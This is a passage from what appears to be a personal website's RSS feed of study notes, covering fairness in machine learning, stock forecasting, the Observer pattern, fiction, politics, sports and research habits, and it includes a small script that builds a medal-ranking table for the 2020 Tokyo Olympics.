(a) what data was selected, and (b) the labels assigned to the examples. They
propose the \(\text{Fair-SMOTE}\) (Fair Synthetic Minority Over Sampling
Technique) algorithm which (1) removes biased labels (via &lt;strong&gt;situation testing:&lt;/strong&gt;
if the model&amp;rsquo;s prediction for a data point changes once all of the data points'

&lt;a href="#ProtectedAttributes"
 
 
 
 &gt;
 protected attributes
 
&lt;/a&gt;
 are flipped, then that label is
biased and the data point is discarded), and (2) rebalances internal
distributions such that based on a protected attribute, examples are equal in
both positive and negative classes. The method is just as effective in reducing
bias as prior approaches, &lt;em&gt;and&lt;/em&gt; its models achieve higher recall and F1
performance. Furthermore, \(\text{Fair-SMOTE}\) can simultaneously reduce bias
for more than one protected attribute.&lt;/p&gt;</description></item><item><title>Online Markets</title><link>https://www.curiosities.dev/business/2021-10-04-online-markets/</link><pubDate>Mon, 04 Oct 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2021-10-04-online-markets/</guid><description>&lt;h2 id="www-21-the-web-conference-2021"&gt;WWW &amp;lsquo;21: The Web Conference 2021&lt;/h2&gt;
&lt;h3 id="rest-relational-event-driven-stock-trend-forecasting"&gt;REST: Relational Event-Driven Stock Trend Forecasting&lt;/h3&gt;
&lt;p&gt;REST, an event-driven stock trend forecasting framework, that overcomes two
limitations of existing event-driven models. Models the stock context, and
learns the effect of event information on the stocks under different contexts.
Constructs a stock graph and designs a new propagation layer to propagate the
effect of event information from related stocks. &lt;span class="citation-ref"&gt;&lt;a href="#Wentao2021"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/stock-trend-forecasting"&gt;#stock-trend-forecasting&lt;/a&gt;&lt;/span&gt;
&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/computational-finance"&gt;#computational-finance&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/graph-based-learning"&gt;#graph-based-learning&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;The value of stock trend forecasting is not unanimous, e.g. Malkiel contends
that 
&lt;a href="https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-2-how-the-pros-play-the-biggest-game-in-town/malkiel-06-technical-analysis-and-the-random-walk-theory/"
 
 
 
 &gt;
 forecasting is a fool&amp;rsquo;s game
 
&lt;/a&gt;
, while 
&lt;a href="https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-0/00-introduction/"
 
 
 
 &gt;
 Simon&amp;rsquo;s RenTech is all about the math
 
&lt;/a&gt;
. But it seems like the question is an empirical one, and therefore, a good
answer should exist. Why are there opposing camps?&lt;/p&gt;</description></item><item><title>Observer</title><link>https://www.curiosities.dev/computer-science/gang-of-four-design-patterns/behavioral-patterns/07-observer/</link><pubDate>Tue, 28 Sep 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/gang-of-four-design-patterns/behavioral-patterns/07-observer/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment open-comment" title="Open comment: unresolved question"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#WikiObserverPattern"&gt;&lt;/a&gt;&lt;/span&gt; notes that &lt;span class="citation-ref"&gt;&lt;a href="#GangOfFour1994"&gt;&lt;/a&gt;&lt;/span&gt;, the
primary source, glosses over nitty-gritties. e.g. the &amp;ldquo;message queue&amp;rdquo; server.
Maybe reading through these will provide a larger perspective to design
decisions made in Chromium regarding observers.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class="comment-holder"&gt;
 &lt;div class="comment open-comment" title="Open comment: unresolved question"&gt;&lt;p&gt;
&lt;a href="https://groups.google.com/a/chromium.org/g/chromium-dev/c/Oy3uuiTSwDk/m/5UDyRJcpJsUJ?pli=1"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Rant: some of willchan&amp;rsquo;s thoughts on WeakPtr, for those who care to
read
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;

criticizes the observer pattern for murking dependency chains. Investigate
more in this regard.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="intent"&gt;Intent&lt;/h2&gt;
&lt;p&gt;A one-to-many dependency between object so that when one object (subject)
changes, all its dependents (observers) are notified and update automatically.&lt;/p&gt;</description></item><item><title>The Lathe of Heaven</title><link>https://www.curiosities.dev/fiction/le-guin-lathe-of-heaven/</link><pubDate>Fri, 17 Sep 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/le-guin-lathe-of-heaven/</guid><description>&lt;p&gt;Premise: Orr can have &amp;ldquo;effective&amp;rdquo; dreams that retroactively change reality for
everyone else, except those who are aware of him dreaming. See &lt;span class="citation-ref"&gt;&lt;a href="#WikiLatheOfHeavenPlot"&gt;&lt;/a&gt;&lt;/span&gt; for a refresher on the plot.&lt;/p&gt;
&lt;h2 id="notable-plot-points"&gt;Notable Plot Points&lt;/h2&gt;
&lt;p&gt;Prodded by Haber to dream of the end of overpopulation, Orr dreamt of a plague
that killed 6B people. But Orr tries to convince himself that the world that was
was fiction in his head, so he didn&amp;rsquo;t &lt;em&gt;really&lt;/em&gt; kill anyone.&lt;/p&gt;</description></item><item><title>Why People Are [Epistematically] Irrational About Politics</title><link>https://www.curiosities.dev/knowing/phi-313-theory-of-knowledge/02-the-problem-of-disagreement/02-group-disagreement-and-problem-of-spinelessness/why-people-are-irrational-about-politics/</link><pubDate>Tue, 31 Aug 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/phi-313-theory-of-knowledge/02-the-problem-of-disagreement/02-group-disagreement-and-problem-of-spinelessness/why-people-are-irrational-about-politics/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Motivation: Why are politics so contentious? How can I relate better with people
that hold opposing political beliefs?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;
 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-graduation-cap' cited-by-count='' is-main=''&gt;
 &lt;cite id='Huemer2015'&gt;
 
 Why People Are Irrational About Politics&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Michael Huemer.
 Philosophy, Politics and Economics.
 
 
 
 
 
 
 2015.
 
 
 &lt;i class='fas fa-fw fa-graduation-cap' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Salient features of political disagreements: widespread (many people disagree on
many issues), strong conviction/confidence, and persistent (difficult to
resolve).&lt;/p&gt;
&lt;h2 id="political-disputes-are-not-explained-by-miscalculation-or-ignorance"&gt;Political Disputes Are Not Explained by Miscalculation or Ignorance&lt;/h2&gt;
&lt;p&gt;Miscalculation Theory: Political issues are difficult and partisans make
mistakes in their reasoning.&lt;/p&gt;</description></item><item><title>Why People Are [Epistematically] Irrational About Politics</title><link>https://www.curiosities.dev/politics-and-governance/2015-why-people-are-irrational-about-politics/</link><pubDate>Tue, 31 Aug 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/2015-why-people-are-irrational-about-politics/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Motivation: Why are politics so contentious? How can I relate better with people
that hold opposing political beliefs?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;
 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-graduation-cap' cited-by-count='' is-main=''&gt;
 &lt;cite id='Huemer2015'&gt;
 
 Why People Are Irrational About Politics&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Michael Huemer.
 Philosophy, Politics and Economics.
 
 
 
 
 
 
 2015.
 
 
 &lt;i class='fas fa-fw fa-graduation-cap' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Salient features of political disagreements: widespread (many people disagree on
many issues), strong conviction/confidence, and persistent (difficult to
resolve).&lt;/p&gt;
&lt;h2 id="political-disputes-are-not-explained-by-miscalculation-or-ignorance"&gt;Political Disputes Are Not Explained by Miscalculation or Ignorance&lt;/h2&gt;
&lt;p&gt;Miscalculation Theory: Political issues are difficult and partisans make
mistakes in their reasoning.&lt;/p&gt;</description></item><item><title>[ToDo] Site Health</title><link>https://www.curiosities.dev/todo/site-health/</link><pubDate>Sat, 14 Aug 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/site-health/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Things that make the personal website better, but are orthogonal to adding new
content.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;🟡 Achieve parity between .md and .html content files. Right now, the scripts treat
.md as the identifier for site content, which means .html files lack full YAML.&lt;/p&gt;
&lt;p&gt;🟡 Add a &lt;code&gt;--augment_all&lt;/code&gt; parameter to src/augment_yaml.py. Useful when adding new
augmentations that need to be applied to all files.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;The current augment_yaml.py uses the changelist from git to determine which
files need augmentation. Can I use the &lt;code&gt;touch&lt;/code&gt; command &lt;span class="citation-ref"&gt;&lt;a href="#touchBSDManPage"&gt;&lt;/a&gt;&lt;/span&gt; to achieve the same thing as &lt;code&gt;--augment_all&lt;/code&gt;?&lt;/p&gt;</description></item><item><title>The Sandman</title><link>https://www.curiosities.dev/fiction/neil-gaiman-sandman/</link><pubDate>Sat, 14 Aug 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/neil-gaiman-sandman/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/gaiman-sandman.png');
 }
&lt;/style&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Path to comic: Lucifer (Netflix) -&amp;gt; Lucifer (Comic) -&amp;gt; The Sandman (Comic)&lt;/p&gt;
&lt;p&gt;Netflix is also adapting the comic, so interested in how it deviates from the
source. Ser Brienne of Tarth will be Lucifer. Hype! &lt;span class="citation-ref"&gt;&lt;a href="#WikiSandmanTV"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="love"&gt;Love&lt;/h2&gt;
&lt;p&gt;Dream: &lt;em&gt;Sister &amp;ndash; you know how I felt for Nada one. What I feel for her still.
But she defied me. I gave her due earning, and she still spurned me, so&amp;hellip;&lt;/em&gt;
Death: &lt;em&gt;So you sentenced her to hell.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Gaiman1991-21"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>2020 Tokyo Olympics Ranking</title><link>https://www.curiosities.dev/sports/2021-08-06-2020-olympics-ranking/</link><pubDate>Fri, 06 Aug 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/sports/2021-08-06-2020-olympics-ranking/</guid><description>&lt;p&gt;
 Weighted sum is calculated as \(3 \cdot gold + 2 \cdot silver + 1 \cdot
 bronze\). The number of athletes per country at the Tokyo Olympics sourced
 from
 &lt;a href="https://www.businessinsider.in/sports/news/ranked-every-nation-at-the-tokyo-olympics-by-the-number-of-athletes-they-have-taken-to-japan/slidelist/84690956.cms"&gt;
 Business Insider&lt;/a&gt;. Medal standings fetched from
 &lt;a href="https://olympics.com/tokyo-2020/olympic-games/en/results/all-sports/medal-standings.htm"&gt;
 olympics.com&lt;/a&gt;. Raw data at &lt;a href="" id="linkToTextFile"&gt;&lt;/a&gt;.
&lt;/p&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Naively counting the number of athletes disadvantages countries that participate
in team sports. This ranking is biased.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;small&gt;
 &lt;p&gt;Medal count last updated at &lt;span id="lastMedalStandingsFetch"&gt;&lt;/span&gt;&lt;/p&gt;.
&lt;/small&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Rank&lt;/th&gt;
 &lt;th title="Difference between the rank from 'Weighted Sum' and from 'Weighted Sum Per Athlete'"&gt;\(\Delta\)&lt;/th&gt;
 &lt;th title="Team/National Olympic Committee"&gt;Team/NOC&lt;/th&gt;
 &lt;th&gt;Gold&lt;/th&gt;
 &lt;th&gt;Silver&lt;/th&gt;
 &lt;th&gt;Bronze&lt;/th&gt;
 &lt;th title="3g + 2s + b"&gt;Weighted Sum&lt;/th&gt;
 &lt;th title="(3g + 2s + b) / (num_atheletes_sent_to_olympics)"&gt;
 Weighted Sum Per Athlete
 &lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody id="standingsTBody"&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

&lt;script&gt;
 const tableBodyElem = document.getElementById("standingsTBody");
 const lastMedalFetchElem = document.getElementById("lastMedalStandingsFetch");
 const textFileAnchorElem = document.getElementById("linkToTextFile");

 function updateLastMedalFetchTime(pathToStandingsCSV) {
 // e.g. 2020-tokyo-olympics-2021-08-06-10-07+0000.csv
 const pstTimeRegex = /2020-tokyo-olympics-(\d{4})-(\d{2})-(\d{2})-(\d{2})-(\d{2})(\+\d{4}).csv/;

 // [ "2020-tokyo-olympics-2021-08-06-10-07.csv", "2021", "08", "06", "10", "07", "+0000" ]
 const matches = pstTimeRegex.exec(pathToStandingsCSV);

 const year = matches[1], month = matches[2], day = matches[3], hr = matches[4], min = matches[5], utcOffset = matches[6];
 let parsedDate = new Date(`${year}-${month}-${day}T${hr}:${min}${utcOffset}`);
 lastMedalFetchElem.innerText = parsedDate.toLocaleString();
 }

 async function loadMedalStandings() {
 const pathToStandingsCSV = await d3.text("/text/updated_2020_olympics.txt");
 const absolutePathToCSV = `/text/${pathToStandingsCSV}`;
 textFileAnchorElem.href = absolutePathToCSV;
 textFileAnchorElem.innerText = absolutePathToCSV;

 let standingsData = await d3.csv(absolutePathToCSV, (d) =&gt; {
 const numAthletes = Number(d.num_athletes);
 const numGold = Number(d.num_gold);
 const numSilver = Number(d.num_silver);
 const numBronze = Number(d.num_bronze);
 const weightedSum = 3 * numGold + 2 * numSilver + numBronze;

 return {
 nocCode: d.noc_code,
 nocName: d.noc_name,
 numAthletes: numAthletes,
 numGold: numGold,
 numSilver: numSilver,
 numBronze: numBronze,
 weightedSum: weightedSum,
 weightedSumPerAthlete: numAthletes &lt;= 0 ? 0 : weightedSum / numAthletes,
 }
 });
 let nonParticipatingNOCs = new Set([]);
 let participatingNOCsWithNoMedals = new Set([]);
 standingsData = standingsData.filter((d) =&gt; {
 if (d.numAthletes &lt;= 0 || d.weightedSum === 0) {
 return false;
 }

 return true;
 });

 function populateRanking(data, rankingAttribute, rankingKey) {
 let rank = 0;
 data.forEach((d, idx) =&gt; {
 if (idx === 0 || data[idx - 1][rankingAttribute] != d[rankingAttribute]) {
 rank = idx + 1;
 }
 d[rankingKey] = rank;
 });
 }

 let rankingsStr = ``;
 standingsData.sort(weightedSumComparator);
 populateRanking(standingsData, "weightedSum", "weightedSumRank");

 standingsData.sort(weightedSumPerAthleteComparator);
 populateRanking(standingsData, "weightedSumPerAthlete", "weightedSumPerAthleteRank");

 function getDeltaString(delta) {
 if (delta &gt; 0) {
 return `&lt;span style="color:rgb(2, 187, 2);"&gt;&amp;#9650; ${Math.abs(delta)}&lt;/span&gt;`;
 } else if (delta &lt; 0) {
 return `&lt;span style="color:red;"&gt;&amp;#9660; ${Math.abs(delta)}&lt;/span&gt;`;
 } else {
 return "-";
 }
 }

 standingsData.forEach((d) =&gt; {
 rankingsStr += `&lt;tr&gt;
 &lt;td&gt;${d.weightedSumPerAthleteRank}&lt;/td&gt;
 &lt;td title="Ranks ${d.weightedSumRank} by 'Weighted Sum'"&gt;${getDeltaString(d.weightedSumRank - d.weightedSumPerAthleteRank)}&lt;/td&gt;
 &lt;td&gt;${d.nocName}&lt;/td&gt;
 &lt;td&gt;${d.numGold}&lt;/td&gt;
 &lt;td&gt;${d.numSilver}&lt;/td&gt;
 &lt;td&gt;${d.numBronze}&lt;/td&gt;
 &lt;td title="(3 * ${d.numGold}) + (2 * ${d.numSilver}) + ${d.numBronze}"&gt;
 ${d.weightedSum}
 &lt;/td&gt;
 &lt;td title="${d.weightedSum} / ${d.numAthletes}"&gt;
 ${d.weightedSumPerAthlete.toFixed(4)}
 &lt;/td&gt;
 &lt;/tr&gt;`;
 })

 updateLastMedalFetchTime(pathToStandingsCSV);
 tableBodyElem.innerHTML = rankingsStr;
 }

 function standingsComparator(a, b, key) {
 if (a[key] &gt; b[key]) {
 return -1;
 } else if (a[key] &lt; b[key]) {
 return 1;
 } else {
 return 0;
 }
 }

 function weightedSumComparator(a, b) {
 return standingsComparator(a, b, "weightedSum");
 }

 function weightedSumPerAthleteComparator(a, b) {
 return standingsComparator(a, b, "weightedSumPerAthlete");
 }

 loadMedalStandings();
&lt;/script&gt;</description></item><item><title>Misconstructions and Misconceptions</title><link>https://www.curiosities.dev/knowing/2021-08-02-misconstructions-and-misconceptions/</link><pubDate>Mon, 02 Aug 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/2021-08-02-misconstructions-and-misconceptions/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;A collection of instances in which I believed something that wasn&amp;rsquo;t true. A
reminder to read 
&lt;a href="https://www.curiosities.dev/knowing/2020-05-02-on-learning/#exercise-caution"
 
 
 
 &gt;
 not to believe, but to weigh and consider 
 
&lt;/a&gt;
.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;The Four Color Theorem does not claim that 4 colors suffice to color a planar
map. Instead, 4 colors are sufficient to color any planar graph so that no two
vertices connected by an edge are colored with the same color. For any \(n\),
there is a map that requires at least \(n\) colors. &lt;span class="citation-ref"&gt;&lt;a href="#Hud2003"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Eternals</title><link>https://www.curiosities.dev/fiction/eternals/</link><pubDate>Sun, 25 Jul 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/eternals/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/eternals-marvel.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Eternals2006'&gt;
 
 Eternals Vol. 3 (2006)&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Neil Gaiman; John Romita Jr..
 
 
 
 
 
 &lt;a href="https://www.marvel.com/comics/discover/2224/eternals-by-neil-gaiman" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.marvel.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.marvel.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/12003687" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2006.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Eternals2021'&gt;
 
 Eternals Vol. 5 (2021)&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Kieron Gillen; Esad Ribić.
 
 
 
 
 
 &lt;a href="https://www.marvel.com/comics/series/30146/eternals_2021_-_present" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.marvel.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.marvel.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/2847268902/series/eternals-2021/11406387253" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://marvel.fandom.com/wiki/Eternals_Vol_5" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=marvel.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;marvel.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;h3 id="origin-of-life"&gt;Origin of Life&lt;/h3&gt;
&lt;p&gt;Mark Evanier: &lt;em&gt;Can you prove that ancient civilizations weren&amp;rsquo;t visited by space
travellers and heralded as gods? Did those aliens alight on this planet eons ago
and plant the seeds of our civilization?&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Eternals2006"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>On Becoming a Better Point Guard</title><link>https://www.curiosities.dev/sports/2021-07-13-point-guard-journey/</link><pubDate>Tue, 13 Jul 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/sports/2021-07-13-point-guard-journey/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Objective: Learn to read the game and make smart predictions. 
&lt;a href="https://www.curiosities.dev/sports/epstein-sports-gene/01-gene-free-model-of-expertise/"
 
 
 
 &gt;
 Reaction times
are overrated; perception and prediction rule
 
&lt;/a&gt;
.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;!-- ## Ball Handling --&gt;
&lt;h2 id="offensive-playmaking-and-scoring"&gt;Offensive Playmaking and Scoring&lt;/h2&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#NBAPlayType"&gt;&lt;/a&gt;&lt;/span&gt; tracks the following play types: transition, isolation,
pick &amp;amp; roll ball handler, pick &amp;amp; roll roll man, post up, spot up, handoff, cut,
off screen and put-backs.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;At least these categories provide a baseline for what search terms to use.
&lt;span class="citation-ref"&gt;&lt;a href="#NBAPlayType"&gt;&lt;/a&gt;&lt;/span&gt; also has a miscellaneous play type section, so it&amp;rsquo;ll be
interesting to see if a new play-type pops up in the future.&lt;/p&gt;</description></item><item><title>Rage Against the Algorithm</title><link>https://www.curiosities.dev/computer-science/bias-and-fairness/2021-07-04-rage-against-the-algo/</link><pubDate>Sun, 04 Jul 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/bias-and-fairness/2021-07-04-rage-against-the-algo/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;The lack of explanability is a common theme. Higher-ups claim the machine is
unbiased, while the workers on the ground say, &amp;ldquo;It&amp;rsquo;s not me; it&amp;rsquo;s the computer&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://seattle.bibliocommons.com/v2/record/S30C3348078"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Automating Inequality: How High-tech Tools Profile, Police, and Punish the
Poor
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 should be an
enlightening read.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="computers-can-solve-your-problem-you-may-not-like-the-answer"&gt;Computers Can Solve Your Problem. You May Not Like the Answer &lt;span class="citation-ref"&gt;&lt;a href="#bostonSchoolsAlgorithm"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;The algorithm had four guiding principles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Increase # of high school students starting after 8am&lt;/li&gt;
&lt;li&gt;Decrease # of elementary school students dismissed after 4pm&lt;/li&gt;
&lt;li&gt;Accommodate the needs of special education students&lt;/li&gt;
&lt;li&gt;Generate transportation savings&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Unprecedented opposition to the algorithm&amp;rsquo;s solution. Angry parents signed
petitions and stormed the school committee. BPS dropped the solution.&lt;/p&gt;</description></item><item><title>Self-Learning: The Road So Far</title><link>https://www.curiosities.dev/blog/2021-06-25-on-self-learning/</link><pubDate>Fri, 25 Jun 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/blog/2021-06-25-on-self-learning/</guid><description>&lt;p&gt;On graduating, I pictured myself blossoming into a voracious autodidact. Unlike
those pesky pre-requisites scattered through college, the topics I&amp;rsquo;d dive into
will be 100% my choice! Two years after graduation, I&amp;rsquo;m underwhelmed by my
progress so far. This post examines my current predicament.&lt;/p&gt;
&lt;h2 id="onenote-notebooks"&gt;OneNote Notebooks&lt;/h2&gt;
&lt;p&gt;Fortunately, OneNote is not part of M365 else I would need to pay for continued
access.&lt;/p&gt;
&lt;p&gt;Useful for annotating primary sources. Handwritten annotations make me feel as
if I&amp;rsquo;m actually learning something.&lt;/p&gt;</description></item><item><title>Thoughts on Academic Research</title><link>https://www.curiosities.dev/knowing/2021-06-15-on-academic-research/</link><pubDate>Tue, 15 Jun 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/2021-06-15-on-academic-research/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Going to a talk is difficult for everyone because nobody understands the whole
thing, but it&amp;rsquo;s especially difficult for undergraduates because they still
expect to. &lt;span class="citation-ref"&gt;&lt;a href="#Alkjash2021"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class="comment-holder"&gt;
 &lt;div class="comment open-comment" title="Open comment: unresolved question"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#WikiAcademicPublishing"&gt;&lt;/a&gt;&lt;/span&gt; is a rich resource for understanding
scholarly literature. Browse it. Some of the listed items are familiar, e.g.
Google Scholar, SCImago, Sci-Hub, but it&amp;rsquo;d be informative to zoom out to the
larger picture, e.g. good alternatives to Google Scholar.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="why-even-read-papers"&gt;Why Even Read Papers?&lt;/h2&gt;
&lt;p&gt;While tutorials and docs help you write code right now, the academic
papers can help you understand where programming came from and where
it&amp;rsquo;s going. You also understand the paths that foundational academic
research did not take. There&amp;rsquo;s a lot of things that are old that are new
again, over and over and over. The idea of Stack Overflow is that
someone else has had your problem before; the idea of academic papers is
that someone else has thought about this problem before. &lt;span class="citation-ref"&gt;&lt;a href="#Donovan2022"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Areas of Interest in Computer Science</title><link>https://www.curiosities.dev/computer-science/2021-04-12-interest-areas/</link><pubDate>Mon, 12 Apr 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/2021-04-12-interest-areas/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Maybe a good approximation is where Google Research is spending $$$&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#GoogleResearch2021"&gt;&lt;/a&gt;&lt;/span&gt;: Algorithms and Optimization;
Augmented Reality and Virtual Reality; Geo; Human Computer Interaction; Health
Research; Machine Learning and Data Mining; Mobile; Machine Perception;
Networking; Natural Language Processing; Privacy; Quantum Computing; Structured
